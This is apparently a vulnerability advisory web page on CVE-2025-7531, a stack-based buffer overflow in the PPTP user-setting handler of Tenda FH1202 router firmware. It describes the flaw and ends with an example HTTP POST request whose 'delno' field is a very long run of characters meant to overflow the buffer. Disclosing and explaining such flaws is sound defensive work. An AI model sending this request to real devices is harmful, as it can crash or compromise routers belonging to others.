Overview
Recently, a critical vulnerability has been identified in Tenda FH1202 1.2.0.14(408) potentially placing a multitude of systems at significant risk. This vulnerability, designated as CVE-2025-7531, affects the function fromPptpUserSetting of the file /goform/PPTPUserSetting. The severity of this vulnerability cannot be understated as it allows remote attackers to execute a stack-based buffer overflow attack. This type of attack can lead to system compromise, data leakage, and other severe consequences.
Vulnerability Summary
CVE ID: CVE-2025-7531
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
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Message, call, share files, and coordinate with identities kept separate.
- • Encrypted identity
- • Ameeba Chat authenticates access
- • Aliases and categories
- • End-to-end encrypted chat, calls, and files
- • Secure notes for sensitive information
Private communication, rethought.
Product | Affected Versions
Tenda FH1202 | 1.2.0.14(408)
How the Exploit Works
The vulnerability resides in the function fromPptpUserSetting of the file /goform/PPTPUserSetting. Specifically, the manipulation of the argument delno can lead to a stack-based buffer overflow. This occurs when data is written into a buffer – or temporary data storage area – and it exceeds the buffer’s capacity. The excess data can corrupt data values in memory addresses adjacent to the buffer, leading to erratic program behavior, including memory access errors, incorrect results, program termination (a crash), or a breach of system security.
Conceptual Example Code
Given the nature of this vulnerability, a potential exploit might look as follows:
“`http
POST /goform/PPTPUserSetting HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
delno=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111